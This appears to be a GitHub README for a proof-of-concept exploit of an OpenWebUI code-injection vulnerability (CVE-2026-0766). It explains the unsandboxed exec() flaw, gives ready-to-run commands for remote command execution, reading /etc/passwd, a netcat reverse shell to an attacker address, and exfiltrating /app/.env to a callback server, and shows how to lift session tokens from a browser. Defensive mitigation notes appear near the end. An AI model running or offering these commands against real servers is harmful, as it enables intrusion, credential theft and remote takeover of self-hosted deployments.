
Proof-of-concept exploit for CVE-2026-0766, a remote code execution vulnerability in OpenWebUI via tool code injection. Includes command execution, file read, reverse shell, and blind exfiltration modes.
Educational Security Research Repository
This repository contains proof-of-concept exploitation code for CVE-2026-0766, a remote code execution vulnerability in OpenWebUI discovered and published by the Zero Day Initiative (ZDI).
This repository is for authorized security testing and educational purposes only.
The author assumes no liability for misuse of this code. Users are solely responsible for ensuring their activities comply with all applicable laws and regulations.
| Property | Value |
|---|
| CVE ID | CVE-2026-0766 |
| Discovered By | Zero Day Initiative (ZDI) |
| Affected Software | OpenWebUI |
| Vulnerability Type | Code Injection (CWE-94) |
| CVSS Score | 8.8 HIGH |
| CVSS Vector | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Attack Complexity | Low (authenticated administrator or user with tool creation/updation can exploit) |
OpenWebUI is a self-hosted web interface for Large Language Models. It provides a ChatGPT-like experience that organizations can run on their own infrastructure, keeping LLM conversations and data on-premises.
OpenWebUI includes a "Tools" feature that allows users to extend LLM capabilities by submitting Python code. This code is executed server-side via Python's exec() function without any sandboxing, validation, or security controls.
Exploitation flow:
POST /api/v1/tools/createcontent fieldexec(content, module.__dict__) in utils/plugin.pyKey insight: The code executes at tool creation time, not when the LLM invokes the tool. This means simply creating a malicious tool triggers RCE - no further interaction needed.
This exploit has been verified on:
The vulnerability is architectural (unsafe use of exec() on user input) and exists across all versions until a security patch is released by the OpenWebUI team.
The vulnerability exists in backend/open_webui/utils/plugin.py:
def load_tool_module_by_id(tool_id: str, content: str):
# Minimal preprocessing (NOT a security control)
content = replace_imports(content)
# Create module and execute user code
module = types.ModuleType(f"tool_{tool_id}")
exec(content, module.__dict__) # ← VULNERABILITY
return module
The replace_imports() function only rewrites import paths (cosmetic) - it does not restrict what code can execute. There is:
The OpenWebUI team initially assessed this as low-priority, noting that tool creation requires administrator permissions. However:
After the vendor proposed administrato should manage this with restricted acess. ZDI has published this as a 0-day vulnerability (ZDI-26-032) to inform defenders.
The author respects the challenges of maintaining open-source projects. Security patching requires balancing user needs, architectural constraints, and limited resources. This publication aims to help security teams assess risk and implement mitigation.
git clone https://github.com/bitt0n/CVE-2026-0766.git
cd CVE-2026-0766
pip install requests urllib3
The exploit script (exploit.py) supports multiple attack modes:
Execute OS commands and retrieve output:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --cmd "id"
Read files from the server filesystem:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --read /etc/passwd
Spawn a reverse shell (requires netcat listener):
# On attacker machine:
nc -lvnp 4444
# Run exploit:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --revshell ATTACKER_IP:4444
Send command output to an HTTP callback server:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --callback http://your-server:8080 --cmd "cat /app/.env"
The script accepts both JWT tokens (from SSO login) and API keys:
Getting a JWT token:
token cookie valueAuthorization: Bearer ... header from any API requestlocalStorage.getItem("token")--token eyJhbGci...If you run OpenWebUI and cannot immediately patch:
Replace exec() with a safe alternative:
RestrictedPython for sandboxed executionAdd permission checks:
Defense in depth:
MIT License - See LICENSE file for details.
This code is provided for educational and defensive security purposes. The author is not responsible for misuse.
This vulnerability was responsibly disclosed:
If you discover security vulnerabilities in open-source projects, please follow responsible disclosure practices and give maintainers time to patch before public disclosure.
For questions or feedback: Open an issue in this repository.